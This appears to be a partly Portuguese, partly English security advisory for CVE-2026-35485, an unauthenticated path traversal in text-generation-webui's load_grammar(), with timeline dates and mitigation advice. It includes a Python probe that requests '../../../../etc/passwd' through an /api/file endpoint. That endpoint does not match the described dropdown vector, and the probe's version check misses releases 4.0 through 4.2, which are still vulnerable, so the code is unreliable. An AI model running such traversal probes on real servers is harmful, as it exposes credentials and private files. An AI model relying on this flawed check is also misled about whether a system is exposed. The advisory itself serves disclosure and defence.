text-generation-webui possui uma Transposição de Caminho em load_grammar() — leitura arbitrária de arquivos sem autenticação

A vulnerabilidade de Path Traversal em text-generation-webui permite que um atacante não autenticado acesse arquivos sensíveis no servidor. Ao manipular os valores de dropdown da interface web, um atacante pode enviar payloads como '../etc/passwd' e receber o conteúdo completo do arquivo em resposta. Isso pode levar à exposição de informações confidenciais, como credenciais de usuários, chaves de API e outros dados sensíveis armazenados no sistema de arquivos. O impacto potencial é alto, especialmente em ambientes onde text-generation-webui é usado para processar dados confidenciais ou interagir com outros sistemas.

Organizations and individuals deploying text-generation-webui, particularly those running older versions (prior to 4.3.0) in production environments, are at risk. Shared hosting environments where multiple users share the same server are also particularly vulnerable, as an attacker could potentially exploit this vulnerability to access files belonging to other users.

• python / server:

import os
import requests

# Check for vulnerable versions
version_url = 'http://localhost:7860/api/version'
response = requests.get(version_url)
version = response.json().get('version', 'unknown')
if version and float(version.split('.')[0]) < 4:
    print('Vulnerable version detected!')

# Attempt path traversal
url = 'http://localhost:7860/api/file/../../../../etc/passwd'
response = requests.get(url)
if 'root:x:' in response.text:
    print('Path traversal detected!')

1. 2026-04-07Disclosure

   disclosure

1. Reservado2026-04-02
2. Publicada2026-04-07
3. EPSS atualizado2026-04-15

A mitigação primária para CVE-2026-35485 é atualizar o text-generation-webui para a versão 4.3.0 ou superior. Se a atualização imediata não for possível, considere implementar medidas de segurança adicionais, como restringir o acesso à interface web apenas a usuários autorizados e monitorar o tráfego de rede em busca de atividades suspeitas. Implementar regras de WAF (Web Application Firewall) para bloquear payloads de traversal de diretório pode ajudar a reduzir o risco. Verifique se as permissões de arquivos e diretórios no servidor estão configuradas corretamente para limitar o acesso não autorizado.